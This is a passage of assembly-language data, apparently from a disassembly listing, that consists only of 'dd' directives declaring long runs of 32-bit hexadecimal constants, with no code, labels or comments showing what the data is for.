		dd 0BFF21200h, 0A2DBEC7Bh, 0CBC6C15Eh, 0F3AAD847h, 1C91B02Fh
		dd 9B99318h, 0E48387FAh, 0FD6AAEE7h, 0D552D6D1h, 5934F8B3h
		dd 0C2F645E2h, 0C60D55E7h, 366567C2h, 394F9E06h, 6DA5A502h
		dd 81DE49DCh, 20E40883h, 608137FEh, 0F574E714h,	0D36ECFD3h
		dd 5055E482h, 54B0C8ECh, 7BABDFDEh, 0D8BC4FC8h,	4E5CD5A3h
		dd 848165EDh, 0CCBEFF8Eh, 9CB8122h, 275677F8h, 0CE9D0803h
		dd 4F4EC4C1h, 0D62DDEC7h, 0AC142428h, 0A11C2F5Dh, 0C5F5A8DAh
		dd 0E41489BAh, 0C7B67C60h, 0EFD9E2AEh, 0BFCEFD41h, 6BEF1F8Eh
		dd 3D4F1EA9h, 862C13BCh, 0CFF3CBB2h, 0F3AADC4Bh, 1170632Ch
		dd 9DAF1FC3h, 1888h, 0C0443757h, 0B3772627h, 989C1934h
		dd 868A010Fh, 73B7EA19h, 4F7EC4E8h, 3451CE52h, 1E2AB579h
		dd 0FE009F63h, 93EE8B8Fh, 0E7C32712h, 0AD17BC55h, 0C2CD6567h
		dd 67970E3Ch, 4BCFFFE3h, 5EAF1727h, 4294112Ah, 9B49DF28h
		dd 4B433A4Ch, 2590ABCFh, 3BBF2A2Fh, 2EE498A5h, 0D85C4F71h
		dd 44F730A3h, 0DF55E7E1h, 9D3CB97Bh, 5A55E7E0h,	900D3A8Fh
		dd 34F81C78h, 7495D447h, 44850139h, 55E7E1F5h, 53080A0Eh
		dd 3A417A31h, 7B52620Dh, 6812B9F9h, 5ED03444h, 0D79B17A8h
		dd 0F4BC76A0h, 0FC0F7D8Ch, 0D2CFFA81h, 0E7DDB88Bh, 0DD573B55h
		dd 671145E2h, 66EA4FC8h, 6463FA55h, 0CCFCB1D2h,	0B0142448h
		dd 1A9CAD62h, 0CB06A7EDh, 485FDE0Bh, 8FBCA0C4h,	42FDD1F9h
		dd 1F154144h, 0C2BBCC5Bh, 0F93B5CAh, 2C5C5170h,	8A92A1A8h
		dd 2D115FDEh, 7A470609h, 6FDF62FCh, 178F5Dh, 433E4E00h
		dd 6E1F20BFh, 97123DAAh, 0BFF61493h, 0A0DDEC7Bh, 4DF5DF5Ch
		dd 20BF433Eh, 39A66A23h, 118E920Dh, 1D78BCEFh, 0C03201AEh
		dd 2B155E7h, 1B61809Eh,	336E99E0h, 0D59C6E1h, 0C649DF28h
		dd 0C9ACFAB0h, 1251D5C0h, 7D9D377Dh, 8FBCA0C4h,	2724CEF0h
		dd 0D6FA5E6Eh, 0A9D73252h, 39B9CB92h, 0E0649407h, 0CA48CCFCh
		dd 0C691BCF9h, 361A55E7h, 0C69BA706h, 868755E7h, 6D98E717h
		dd 0A1EE1830h, 7AE5C04Ah, 0DD19C713h, 67A58BABh, 0CA000000h
		dd 8B02005Fh, 0E7DEF742h, 0A080C55h, 1F658000h,	92F443ECh
		dd 0B0F53F0h, 928BB2F3h, 326953F0h, 5EC96F22h, 3FF5E32Ch
		dd 0F3393950h, 83859542h, 32h, 8B1DC090h, 0A5687434h, 188BE56Fh
		dd 0F092AC9Fh, 0D0D12753h, 1CAC71B1h, 0D4C15377h, 53F0716Ah
		dd 0B2D15EAFh, 274BCFFFh, 726F8B14h, 0BC8049DCh, 6180BA78h
		dd 0F675E01Bh, 0D2ADDDD8h, 48CCFCB1h, 0EFEFEE24h, 49DC7Dh
		dd 51730C3Ch, 0D3EBA6A1h, 50CF5377h, 0A83842Eh,	597296F2h
		dd 0C7FBF60Bh, 0F233037Dh, 55E44747h, 0DE5478DCh, 3F7291EEh
		dd 85EC4B0Fh, 0C5494446h, 0E598B7B6h, 5F4E702Fh, 0D056B72Fh
		dd 0ACF4C35Dh, 0D2E90D73h, 0F6067D8Bh, 86278092h, 4FC8723Ch
		dd 8810A335h, 1D138ABCh, 0A0C4E485h, 0FDB8D4ABh, 1C91B2CDh
		dd 0CE4468ECh, 306B9D0Ah, 0E88B9918h, 2358D717h, 57C477B0h
		dd 0FB5FD7AEh, 0C3B5239h, 0F88883FAh, 3871EBC2h, 7939FBE4h
		dd 0A9A1DCEEh, 0CDFDB8D6h, 0E21A97B2h, 0B9CA6C9Dh, 2C50B4C4h
		dd 749B441Ch, 5A7E3955h, 90AFC635h, 80FB3F6Eh, 99F98AF0h
		dd 6DA79D7Ch, 0F9118CBEh, 0E3EF6081h, 26C37EBFh, 0FC40D7AEh
		dd 1487B4D8h, 4F7F3A55h, 0BA4C49CBh, 0B3CD82CEh, 5EEC5FD8h
		dd 0E367D982h, 351CCFFh, 3474FC57h, 55E4E536h, 0EED9828Dh
		dd 7FE8A86Ah, 572D5E4Dh, 38A2ADB1h, 13936130h, 35463F4Ch
		dd 0E6DA53Fh, 41D3DE82h, 0D3AA2165h, 0B3CCFCB7h, 3AF81C97h
		dd 70E33E55h, 821B0437h, 79BB9FD9h, 29EDA0A2h, 0DCEA8CBEh
		dd 158DBDA1h, 564D7BF4h, 8DBEA226h, 0CB06A712h,	48D9821Bh
		dd 779B123Fh, 0F7D630BDh, 0EB6FC3AEh, 37E89D0h,	0CD858F0Bh
		dd 4D7D3052h, 763651ECh, 5C4F71D3h, 7A31532Ch, 0EBE39EADh
		dd 9DA5CC93h, 0CEA2B2A9h, 93DFFD54h, 90E7848Eh,	0D85C4F71h
		dd 3048434Fh, 3D7A202Fh, 0F376360Eh, 6D9D8185h,	0D6F51CBBh
		dd 0AC3BFFBAh, 7BD6E5A0h, 76360F3Ah, 507B84F3h,	0BDA12555h
		dd 1A283777h, 0F3146B63h, 0CEFD82BAh, 7E3754D3h, 42A9364Eh
		dd 65890403h, 80BFD681h, 9A050984h, 0A31B336Eh,	2D5A2142h
		dd 0FDFC5870h, 0F376364Eh, 36162582h, 0A9ADF376h, 7D8AD5h
		dd 62C3F81Ch, 0E95AD964h, 681B99Dh, 8581C0D7h, 1A75060Ah
		dd 6A51AE9Dh, 27F8EF5h,	9348CA4Eh, 7A013A71h, 0A226564Bh
		dd 0F90B5450h, 0A31E8982h, 6A513702h, 81C84CF5h, 0F56A51B2h
		dd 0E7C74D31h, 5C6B8231h, 3AF732Ah, 2C2F4FDDh, 2BF9h, 6B673700h
		dd 0D4AB1830h, 8135FFB6h, 97A20360h, 2C53F092h,	0B6F70428h
		dd 49DC95F0h, 0C3191D61h, 19h, 47789D0h, 988290F4h, 18306B67h
		dd 3B41A0h, 0DC90EBA7h,	0F4381C49h, 0A1571E3Eh,	78073440h
		dd 0E1C2504Dh, 0DC6B3244h, 3447CB49h, 0E1B4C13Ch, 9B79AFE2h
		dd 0ABDD4A97h, 0E24322F0h, 61571957h, 4CFF38ABh, 6CA93701h
		dd 0EF53275Eh, 1E053DCh, 1F63A937h, 0CF40A115h,	95A6CAC1h
		dd 1BFD0208h, 0DFEF53B3h, 85B4F16Ch, 1E532B0Dh,	25C4F83Ah
		dd 0BBC92457h, 0F87E9D5Dh, 0DADB596Fh, 490718B5h, 0DAA1DABEh
		dd 0B631F5A8h, 61161994h, 21683B10h, 139AFBC9h,	49790000h
		dd 3455D256h, 1F2AB579h, 3019E62h, 0EC1B8488h, 0CAEE6DB1h
		dd 0CC504D7Ch, 0BB7F3653h, 0A165202Ch, 85890406h, 251491E8h
		dd 0BE55E7C4h, 8AB99315h, 4553F093h, 7ABBD0A4h,	49DC96F0h
		dd 67E61579h, 73EC306Bh, 0BF2C5C57h, 0D2EAA3A0h, 0DDEFBC76h
		dd 94CD7CB9h, 0C24655E4h, 8BAE59DEh, 0D6466916h, 1333C4h
		dd 0AFE2E200h, 0D2CBFC6Bh, 0FBB6D14Eh, 0E39AA837h, 0C81801Fh
		dd 19A98308h, 0F473B7EAh, 0CD5ADED7h, 0A542C6C1h, 4924E8A3h
		dd 0C486B5F2h, 0F61D55E7h, 9F188B32h, 53F092ACh, 0A9CD2327h
		dd 13588248h, 0AA3B7381h, 0E00ADDEh, 6749DC6Bh,	9398ABF4h
		dd 371B55E5h, 6061F813h, 4D7EE92Dh, 25273850h, 12C14676h
		dd 0C2BBCCFBh, 0CE81BBC9h, 0EF483E2Ah, 18B6D25h, 8F2F5D2Ch
		dd 9BFF0F7Eh, 0FD09BD77h, 0D0CBC786h, 2E1D5CB8h, 0A555E5F5h
		dd 0FF8EBDA1h, 6C2924CEh, 5ED4F85Ch, 0A2ADBCAFh, 84B4F11Ch
		dd 68EC1C00h, 0D9D4F5AAh, 0F3AADBA2h, 9B57FDBh,	0ED592F9Ah
		dd 2D284662h, 4641F0F9h, 7EC255E5h, 460539B4h, 2B1455E5h
		dd 1CDE3F5Dh, 9D81522Ah, 5452C43Ch, 600F0560h, 0D4C9FA09h
		dd 0C7B6D750h, 38BE4FB7h, 5208CAA9h, 281B84A6h,	0AB55E54Dh
		dd 6C9F83A7h, 0CAF7B7C3h, 4B36484Fh, 0ED2E6A9Dh, 59205B7Fh
		dd 0DBB07427h, 0C7F3F28Dh, 25EF1438h, 21595476h, 2F5C28B9h
		dd 0F254F18Eh, 17363545h, 0A414629Ah, 15E507A4h, 0FE0F183Ch
		dd 197D858Fh, 9B0477E2h, 41B46CA8h, 3EED272Bh, 0F7A910Ch
		dd 0B46C93AEh, 0E62C1041h, 1893B532h, 0F46978E0h, 0B46C98ABh
		dd 87201B41h, 41B46CB4h, 14274BCFh, 0B46DB88Bh,	33573B41h
		dd 0BCC79F18h, 4085B98h, 0D1626203h, 0BC8EFE56h, 11B8h
		dd 0F0346767h, 0E3275677h, 0C84C4944h, 0B67A315Fh, 0A3671A29h
		dd 7F8E3418h, 6461FE02h, 4E7AE529h, 2E50CF53h, 63DEBB7Fh
		dd 0E7CA77C2h, 5D478C55h, 0F09291B9h, 0E29DA953h, 87F26D1Eh
		dd 0F0922B26h, 0A5A4A853h, 53F09296h, 0D3EB292Dh, 0E8354632h
		dd 49DF2B03h, 4C13282Ch, 0AD2FB641h, 0BCC66786h, 545E9498h
		dd 86148086h, 4D9980D0h, 0C41363C8h, 144BD4Eh, 807B0000h
		dd 8B5B196Fh, 0F092102Ah, 0F57FD353h, 3C57A18Bh, 0C77192E9h
		dd 9FAFD3CAh, 0B3CBC2C0h, 0F0FD3357h, 462A599Dh, 80CD37FDh
		dd 76E11A6Eh, 95A5D8F7h, 92192831h, 963853F0h, 0EA003DB2h
		dd 11E3675Bh, 80442E2Fh, 9CE31864h, 0BE1A326Bh,	6349F274h
		dd 94809654h, 380088h, 80AC0000h, 0ABE6E16Eh, 188BCD87h
		dd 98B34341h, 0BA3BF91Dh, 53F09280h, 8B4F0509h,	92AC9F18h
		dd 232753F0h, 67C2D6D1h, 4AA3316Ch, 2E2A60h, 62F90000h
		dd 0BA1E2E63h, 6E80F678h, 2A8B581Ah, 53F09210h,	622F8DD3h
		dd 0DFB18E8Ch, 188B39BBh, 94B14541h, 41C5F519h,	6C6749B3h
		dd 604AA331h, 94809654h, 480088h, 80AC0000h, 95E31864h
		dd 0E503D4A6h, 74FE341Bh, 92102A8Bh, 86DE53F0h,	1B373E97h
		dd 0FDA8E60h, 65E9191Bh, 0DD811E56h, 0A5E17424h, 0A18BE56Fh
		dd 4376667h, 0C94B4645h, 95FD8B47h, 231686F0h, 0F13BC54Fh
		dd 332Ah, 64804000h, 2A8B5A18h,	53F09210h, 0E7D8FDEh, 0A7D9B604h
		dd 5C40C4F4h, 8C2F502Fh, 6C762F23h, 0F911358Ch,	8BAD979Dh
		dd 0D3F48BA1h, 828358DAh, 604A490Bh, 0FFFEAA2Ah, 618040FFh
		dd 0FF75E01Bh, 155C84F7h, 443F4D99h, 0B7E3D220h, 4849DFEAh
		dd 96A8B7C4h, 866323E7h, 0D564C1FAh, 6E55E899h,	1A61D2EAh
		dd 7461B3EEh, 55E899C7h, 0A1D9D4F3h, 0C7F7B2DEh, 75BDD483h
		dd 7486ED68h, 8BAC93A6h, 2130h,	86B9FC00h, 0A653F092h
		dd 6425E9A4h, 53F092DAh, 81BACE1Fh, 0DC480E24h,	5FA3A749h
		dd 0C58Dh, 61802B00h, 9290A30Ch, 2F1353F0h, 0CF85F00Bh
		dd 0C2F80CABh, 4718388h, 49DCEED6h, 49102B2Fh, 21BE423Dh
		dd 0EA526A25h, 0D15E6D1Bh, 4FCBE5BDh, 4EB9D2B6h, 0DC8452E1h
		dd 0A76DD15Fh, 0B5D2A904h, 2BB6C0F8h, 5AC8A3Fh,	845BD9FDh
		dd 9E090D88h, 45043772h, 0F9C54F4Ah, 0E7146081h, 0F3D5BC46h
		dd 0A6077245h, 41B4D5ABh, 9AEE2428h, 24CF85B6h,	34240198h
		dd 730AB57Fh, 0A5D65A51h, 67A7CEAFh, 2CE653BFh,	0A6A54D7Fh
		dd 0A940C7EBh, 315CE5D4h, 0EFECBD9h, 0ADDD0000h, 90B12EF2h
		dd 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh, 40C4B9C8h
		dd 2FF3AAA7h, 151994B0h, 105788Ah
		dd 0B9881594h, 3A55E7C8h, 65671799h, 3A950636h,	7080E52Ah
		dd 47865EDDh, 53F01AF4h, 0D9D4F00Fh, 0F30125A1h, 5B732A5Ch
		dd 7F8F0604h, 0C529ECE9h, 54D37408h, 3B437B32h,	45E23D54h
		dd 53F039F6h, 93E5090Dh, 0CCFE0D64h, 263E4DD1h,	201B1138h
		dd 0CDAD6768h, 85949B1Fh, 65BFh, 61807500h, 87ABE2E0h
		dd 0AD9C1974h, 2653F092h, 56D7D022h, 49DC6EC0h,	461E2D11h
		dd 0F01B5103h, 784063B5h, 0DEA11D17h, 6FDAF1ACh, 0E4BD73CEh
		dd 7F8CF055h, 0E4BD033Eh, 76BC8055h, 682325C2h,	719CE350h
		dd 0A6DDEB34h, 3189586Ch, 4FE330C6h, 0D1EA0E18h, 0C8010654h
		dd 78C8984Fh, 115DB52h,	60A7EB4h, 66673002h, 5374F337h
		dd 69B6215Ah, 53F092DAh, 8F3FF559h, 0F0920A2Eh,	8D080453h
		dd 9CE8F989h, 2B1ACE6Fh, 0C19849DFh, 3949CBC6h,	58CB2655h
		dd 0E7DB6CDFh, 6798E755h, 9E820636h, 0D1CCC794h, 8654874Dh
		dd 10861480h, 135h, 92B3CA25h, 9267D21Bh, 98FCAC70h, 0F109848Fh
		dd 80959F95h, 92A10E6Fh, 1153F092h, 8B4B092Dh, 0F092102Ah
		dd 0F57FD353h, 3C57A18Bh, 1A6E8050h, 9F188B58h,	53F092ACh
		dd 9274C760h, 8B8F53F0h, 43C15337h, 0F1FD8BD1h,	7A735AB4h
		dd 7BBDD0DAh, 2347C380h, 8609DDD1h, 69EB0F8Ah, 96546349h
		dd 889480h, 26h, 1A6E80ACh, 336E9AE1h, 188B7FE1h, 0C74D4041h
		dd 0F09274D6h, 0DB99FD53h, 6C67A18Bh, 604AA331h, 4E2Ah
		dd 6E804000h, 6E9AE11Ah, 69BF1B33h, 39D44AFFh, 2E10E220h
		dd 0AC9F188Bh, 2753F092h, 49D6D123h, 53F092F5h,	8B16DC34h
		dd 316C67A1h, 76BC4A1Ah, 9A8D7B9Fh, 0F606818Dh,	8B9E8092h
		dd 92AC9F18h, 808C53F0h, 1B36B105h, 0C6EA6E9Eh,	5478B24Ch
		dd 88948096h, 2600h, 6480AC00h,	2A8B5A18h, 53F09210h, 8B3FB599h
		dd 376667A1h, 6ED94ABDh, 0F09272C1h, 878DF153h,	202A9Dh
		dd 80400000h, 8B5A1864h, 58DAD3F4h, 927CCE6Fh, 5BBF53F0h
		dd 74275920h, 0A18BB4BEh, 0BD376667h, 0F48B604Ah, 0CB55DFD6h
		dd 0FFFFFEC2h, 1B618061h, 281347E0h, 60E449DFh,	0BBF2146Bh
		dd 8EFA0F77h, 0D801307Dh, 0BE8255E7h, 0D81E2F8Eh, 0B3A55E7h
		dd 0EB196696h, 1FC098B0h, 0F43732F8h, 0D45E5975h, 374DE037h
		dd 5B77FC55h, 725ACE20h, 0AB71191Bh, 0CB8BABD4h, 10h, 9286B9E1h
		dd 0A4A653F0h, 0FFF725E9h, 7D000000h, 0DFE06180h, 163A9EAEh
		dd 286566E5h, 365CD9EAh, 3F49DC97h, 2E59205Bh, 4706A173h
		dd 0BFCC504Bh, 5A68F9A9h, 6DA783E6h, 0E41792BEh, 9C243D6Ch
		dd 44CEE99Dh, 3D7D0B78h, 6ACB1E3Bh, 53B20A08h, 0D346F532h
		dd 1D9A55E4h, 55E4D32Eh, 69EDA1A5h, 89E93645h, 0ED4FCB69h
		dd 0A8AA0B97h, 141EAB45h, 0E05368ECh, 0F755DC90h, 858FFFD8h
		dd 3BFFBAD6h, 930E3940h, 0D3D7894h, 0B8D48B89h,	0B455CDFDh
		dd 7195103Bh, 0F34EEF5Ah, 705FDB54h, 6E23C7FEh,	0E90DD9D4h
		dd 1B1F982Bh, 2B45F42Ah, 51E04DB8h, 0D241B2DAh,	0DADC6F6Eh
		dd 0F35741B2h, 959F1634h, 8BD2E96Dh, 61FE0279h,	4FFA3B5Fh
		dd 0C441B2DAh, 4EDB5C40h, 225CE84Ah, 0B6EF8CAh,	1D2D0000h
		dd 19E62h, 0F31E898Dh, 0D7F572B6h, 0C0CF58DCh, 0EEC249CDh
		dd 0B0742958h, 9F631A37h, 85890400h, 71B5E81Ah,	0C978A504h
		dd 4A55E7CCh, 65678709h, 2DC3BECDh, 0DBF10558h,	46769A92h
		dd 64940739h, 0DFEE05B2h, 0BECDFEADh, 0FC17108Dh, 70D8981h
		dd 8139E753h, 4E458595h, 53000000h, 0D8D5F48Bh,	324A414Fh
		dd 99685CD6h, 0C06DD8F3h, 53F09271h, 3B848EF2h,	0DC48ACFAh
		dd 6C9BE249h, 77BD1931h, 60FF0F73h, 441C2F5Eh, 9C190C4Dh
		dd 55E447ADh, 78CC2226h, 27D3217Bh, 0E71786B8h,	0E11A6E7Fh
		dd 0C8C62E44h, 0BF43C74Fh, 37666775h, 572D98F3h, 0E6387C1Bh
		dd 33E3F1Eh, 8053F0E5h,	2F0776BCh, 0EB53F0E5h, 0C772B3DFh
		dd 5C53F0E5h, 3050D4F8h, 1790ABD1h, 49DF5C46h, 0C786B599h
		dd 874DD1CCh, 0DFD6F48Bh, 0CEFC2BAFh, 0D123A7D7h, 1480E309h
		dd 1E2C3386h, 21F35767h, 18846h, 6F805200h, 0A0A90BEBh
		dd 2C891945h, 53F0D01Dh, 988EB296h, 9B1C3CB5h, 2AA8CC9Bh
		dd 0DDD8F48Bh, 77CB5457h, 0B253F092h, 0F917A7A5h, 0EA0E8A82h
		dd 0A18B0CC6h, 80503C57h, 2E581A6Eh, 215C6EFDh,	0FD67AD29h
		dd 0E3186480h, 92043770h, 133453F0h, 0D022269Ah, 5463496Eh
		dd 88948096h, 7B00h, 3A561500h,	49CB4F7Fh, 0E16E80C7h
		dd 7A3752E4h, 8BA03256h, 0EF28D3F4h, 0C6CA4AECh, 1AA56F93h
		dd 0F08AA19Dh, 0ABDD2A53h, 8A8B46E7h, 40853F0h,	486CE8E0h
		dd 65202C33h, 8AB9E655h, 953F08Ah, 2913E105h, 6C67A18Bh
		dd 46431A31h, 0E01895B4h, 0CC484064h, 0D94ADC46h, 0D8F38582h
		dd 529ADDDh, 998391F5h,	392Ah, 218EF900h, 53F09212h, 92FA49D6h
		dd 157953F0h, 0ED57DDA1h, 0E11A6E80h, 0AB5E7D93h, 0F0A73F0Ah
		dd 5ED0B453h, 62B09FE3h, 102A8BF8h, 0D353F092h,	0A18BF57Fh
		dd 0A3316C67h, 9654604Ah, 889480h, 33h,	9F188BACh, 53F092ACh
		dd 0DDD12327h, 3F4E7D09h, 7C8D9A11h, 8B09F301h,	0F092102Ah
		dd 3FB59953h, 4341188Bh, 6740CA48h, 4ABD3766h, 3E2A60h
		dd 80400000h, 8B5A1864h, 56DCD9F4h, 9276C855h, 0AFB553F0h
		dd 99064E42h, 53F0B6AAh, 82F32529h, 0BF3559C2h,	0AC9F188Bh
		dd 2753F092h, 0C2D6D123h, 0BBCC6667h, 0D14ECAC2h, 4BCFFFB2h
		dd 604AAD27h, 0FFFE632Ah, 6462F9FFh, 7FB51129h,	1B6180F5h
		dd 77FB90E0h, 43BA92CEh, 289BF6B1h, 0F017BC8Fh,	9DA83753h
		dd 486CE8E0h, 0AD9FCBCAh, 0EC5049DFh, 0F7E80DFh, 0E26E7B0Bh
		dd 5CFD4CE9h, 127655E7h, 4F1E89FAh, 0D7334B42h,	0E75CBB96h
		dd 0DE543855h, 0E75C6EDFh, 45384A55h, 631E2A35h, 79903F6Bh
		dd 42A9B4B1h, 0AC56EA30h, 5CD9348Bh, 55E754EDh,	5710E266h
		dd 21h,	0E0DE6CE4h, 0EE742EFDh,	0E78FF241h, 0E90D7155h
		dd 86B9212Bh, 0A653F092h, 0F725E9A4h, 0A5h, 1B61807Dh
		dd 768B47E0h, 187C49DCh, 0C7709CE3h, 0ADDC2C40h, 0CF53EF0h
		dd 6DFA3E22h, 0AE162661h, 9512295Fh, 4FCB1F71h,	0F675868Ah
		dd 205BDFDAh, 13D968B5h, 0F65A5FDBh, 28636F3Ch,	3359A810h
		dd 0B1DEAD18h, 8FBBC4F4h, 0B322F014h, 45F4ABB7h, 283744C8h
		dd 0E8A36716h, 0A4E1EE7Dh, 1A293094h, 9941B258h, 9EA07FB5h
		dd 0C7A528EFh, 6DDD5CE7h, 7E75Fh, 1B96B600h, 6778817h
		dd 2F6A6502h, 574E7CEBh, 783554D3h, 0B51D37B4h,	88171B96h
		dd 61FE027Bh, 79E62A65h, 0A5D05447h, 0F36AD946h, 0AAE955E7h
		dd 6BFD8B66h, 94E0C023h, 9AAC63B1h, 7091E8E3h, 0A8B7F73Dh
		dd 21D7E796h, 3A4C7B92h, 0D326F6B1h, 2C50E489h,	599E4CE8h
		dd 2F388595h, 4D000000h, 9C96133Eh, 0E061809Ah,	3793ABE2h
		dd 0D3BFF813h, 5449DC65h, 146BD8F0h, 677BDF8h, 55E485C7h
		dd 87D33A25h, 8BA8A359h, 6465h,	6180B300h, 84A8E5E0h, 0CA90477h
		dd 53F0923Dh, 5540D2B6h, 49DC49C5h, 0CAC5C11Eh,	0FD3A95A6h
		dd 55E4B94Eh, 0F3B341C5h, 0D4C7F980h, 0C6C720A4h, 0D123A7D7h
		dd 606E083Ah, 0D1F5B0DEh, 0B9CE7DBAh, 0C14555E4h, 0B1DFAEDDh
		dd 0EF7838FAh, 269EAEDDh, 1D9AB1C7h, 4FC85D51h,	0CF85B69Ah
		dd 0CD49B8FCh, 0DA9E94CBh, 0A5531E18h, 9A1B3044h, 49DC6B68h
		dd 5FEA4BA6h, 0D455E49Bh, 6FDA5B70h, 0E455E49Bh, 0F2569260h
		dd 7058281Bh, 0A0DDEAF5h, 0C9FA2CA8h, 29646501h, 168E0F05h
		dd 1F156A41h, 2481BACEh, 8F56DD2Eh, 94093847h, 0F7077E8Bh
		dd 0E75F6F93h, 0DC597206h, 8542E1B7h, 0D8A7D4B8h, 40C4F4A9h
		dd 586AF1B2h, 4446E125h, 984DC649h, 0E5559C77h,	687D7h
		dd 7B365600h, 661728B7h, 8F0A05A2h, 0B7EE1C8Bh,	0D8D5F473h
		dd 55FDD754h, 28B77B36h, 19E621Bh, 19868A05h, 570B4E7h
		dd 0F1CA79A6h, 0A4955E7h, 36656786h, 0B7D69506h, 0D451C2FAh
		dd 53F09265h, 0BC769AFEh, 65A9E4EFh, 83B8CC1Dh,	92A49710h
		dd 5B3F53F0h, 2541EED9h, 0DE49DF28h, 93A417Ah, 512E9E94h
		dd 0E2398936h, 0B6D0119Ah, 91E8D92h, 0E6566913h, 60FD4h
		dd 0C3BECE00h, 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh
		dd 0CD755FDCh, 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh
		dd 0F1B2812Eh, 823155E7h, 0D5F48B1Eh, 0B1DFA0D8h, 2246C2FAh
		dd 7F0DDCD0h, 2883E34Ch, 0D8BC49DFh, 0B0C033A0h, 2563E73h
		dd 4FFAC301h, 0C455E748h, 0F11590BBh, 24616C23h, 12B87EE3h
		dd 98AA0269h, 5A4h, 0D4585373h,	0BF433A4Bh, 0A4682520h
		dd 92960D3Bh, 77BBF615h, 5372C0F4h, 404DDA5Eh, 2A26C145h
		dd 0A3CAB6Fh, 9FE28F93h, 0E7F6231Eh, 0A913A055h, 0E01B6180h
		dd 0F9266C99h, 53F0924Ah, 292145C9h, 0E94467ADh, 2397492h
		dd 0F09296A5h, 0EB292D53h, 0DF2880EAh, 95A5A949h, 3DC2BFCAh
		dd 691348E2h, 3D889AF2h, 1C000005h, 0F26DB1ECh,	0CF58DCD1h
		dd 0DA45C9C4h, 0B22DF1ACh, 911A1E93h, 85F817BFh, 0ACE9E681h
		dd 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh, 55E7F6FCh, 8BD8DC77h
		dd 59DBD2F4h, 0FD0D8082h, 1E2D6062h, 0C94B424Fh, 5B2259FDh
		dd 0FF5B732Ah, 3F5635h,	5A5374FEh, 732E5D22h, 0FAB3D04Fh
		dd 0A9A6A5D6h, 0F57226ECh, 1A0D8D3h, 53F0923Dh,	84B4EF1Dh
		dd 0A4D4CFFBh, 959DF423h, 0D6F51CBBh, 9DD60BB4h, 7CD625E7h
		dd 9E53EE4Fh, 6CD053F0h, 44B7C448h, 0F09E68DBh,	0AD67EB53h
		dd 0B9D1CCFEh, 9C17334Ah, 0D4C7F996h, 0F4A9D8A7h, 6B240C4h
		dd 0E2196F7Eh, 0DC6F8945h, 0EE1E6249h, 0E48FF04Fh, 9CF31255h
		dd 47BF381h, 0B1F092D0h, 113AA369h, 0C05276C1h,	0A987F238h
		dd 2E8C8Bh, 0C3910000h,	0FFB5FC90h, 72F43ED7h, 0E01B6180h
		dd 0DC6CD747h, 14242849h, 0E49CAA95h, 668D4855h, 0A89AC614h
		dd 3849108Bh, 0D73CCF45h, 0F8000000h, 5366567h,	324A4746h
		dd 1F605CD6h, 0F28DBDF0h, 0D2ADDDD0h, 7039FDB0h, 53F09700h
		dd 0D6E598AAh, 0B037A97h, 52CD858Fh, 277C8F30h,	8896D949h
		dd 1DEC5464h, 76E15C6Fh, 0F0521A29h, 7FB59953h,	0DCB7BC7Eh
		dd 4DD1B549h, 295BD435h, 0DAFE5A72h, 2F8204A1h,	0ADBC4FCBh
		dd 0DB2FE5A0h, 0F7077E8Ch, 0D5C6F93h, 10F971FEh, 4100984Ah
		dd 3F4ED95Dh, 8EE18EB9h, 0D521BBB4h, 0EF305478h, 62FF909Eh
		dd 0B1D0E25Ah, 60000003h, 7EE92D60h, 53CC504Dh,	2EB97D38h
		dd 6A16520h, 5868A07h, 296463D3h, 504D7AE5h, 7C3753CCh
		dd 6E1D2FB8h, 337CCFAAh, 55E7F400h, 674C7083h, 4E063568h
		dd 0B6D40076h, 692529FFh, 98236FCh, 0D022119Eh,	0DDA153F0h
		dd 1786B857h, 6180C113h, 6A99E01Bh, 71830737h, 0CF68DB36h
		dd 53F0927Ch, 148193F7h, 49DC6C06h, 0FBB8095Fh,	2D72FA19h
		dd 8DB0F109h, 6F55E4D7h, 0A34989E0h, 338BA8D1h,	0C0h, 366567F9h
		dd 574A7906h, 978A8627h, 0B1C853F0h, 43181A95h,	1A95B141h
		dd 0C85566E2h, 53F09679h, 0AE7296FAh, 276E0F31h, 0B1D98EB9h
		dd 0BAC1FA1Eh, 9FFB138Eh, 50B12995h, 0F5411724h, 0D32E5E45h
		dd 25823DF7h, 49DC9369h, 0D0EC4C82h, 268F7F4Fh,	0FE8DFE02h
		dd 0E958C5CFh, 6A55E534h, 4ECAC2E6h, 6B11F0C4h,	51B2D750h
		dd 0C1454FCAh, 1994B3CAh, 0EBE76615h, 0F63C98B0h, 0B0772A59h
		dd 62FE4869h, 0A5EBB911h, 74000002h, 4AD55954h,	27C04439h
		dd 32AD712Ch, 0A959914h, 0F98286FBh, 2D606FD7h,	54517EE9h
		dd 403B57D0h, 6A2123BCh, 3770CBA6h, 55E7F504h, 67B0749Fh
		dd 76F13568h, 1FD55954h, 5366567h, 923E0DAAh, 0D1B553F0h
		dd 0B61A9D5Fh, 69AB2C7Ah, 8D00025Dh, 506FE67Eh,	0A51FFC46h
		dd 0B73A0996h, 0D5B953F0h, 1AEB9B5Fh, 3ED05D6Eh, 3749DC40h
		dd 43FA3B53h, 0A155E4A9h, 0DD034FA6h, 0F98BA8C3h, 56h
		dd 0CFD3FF8Eh, 0E4A1D36Eh, 0C8EC5055h, 6180C04Ah, 0EF47E01Bh
		dd 4749DC48h, 0B8F84BD4h, 0B4D055E4h, 738185F9h, 0BAFB1377h
		dd 55E4B883h, 9C8FE661h, 0DA69B621h, 5955E4B8h,	0B845F4F5h
		dd 7ADE55E4h, 0B70AD0B8h, 35948BA8h, 0B9000000h, 8C52E14Eh
		dd 6DD155E4h, 85B9BDA7h, 4953F092h, 6AE6413Bh, 0ADA65417h
		dd 0A1A47A2Ch, 8438FAA6h, 94A70065h, 2F53F00Eh,	0ABF4072Bh
		dd 49DCEA97h, 22F03418h, 0E01B6180h, 0E0326D99h, 90B066C7h
		dd 0DDA149DCh, 90310CADh, 34D355E4h, 483242DDh,	574E638Ch
		dd 0B57B070Dh, 0C18BA8E8h, 34h,	0C9121E56h, 6B0ADB1h, 7A9E7837h
		dd 44779BA2h, 0E4E768DBh, 0AD67EB55h, 9286B9ABh, 0A04153F0h
		dd 3C34A7D4h, 0D716FFA3h, 97060CF3h, 49DC5CABh,	1ED4583Ch
		dd 0E01B6180h, 423F6790h, 0AD43E79Ah, 0BC8CD0AFh, 8427ED6Fh
